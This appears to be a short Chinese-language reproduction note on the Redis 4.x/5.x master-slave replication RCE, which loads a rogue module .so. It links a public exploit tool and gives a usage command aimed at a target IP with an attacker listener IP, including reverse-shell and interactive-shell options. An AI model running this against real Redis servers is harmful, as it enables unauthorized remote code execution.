redis4.x/5.x RCE
影响版本
4.x-5.x
主从模式
主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
redis模块
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
利用原理
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
环境搭建
1 | # 下载redis |
漏洞复现
exp下载
https://github.com/n0b0dyCN/redis-rogue-server
用法:python3 redis-rogue-server.py --rhost=192.168.0.182 --lhost=192.168.0.128 --exp=exp.so
-r 反弹shell -i 实时shell
Reference
https://paper.seebug.org/975/
http://www.feidao.site/wordpress/?p=2090
https://blog.csdn.net/weixin_43252204/article/details/115181128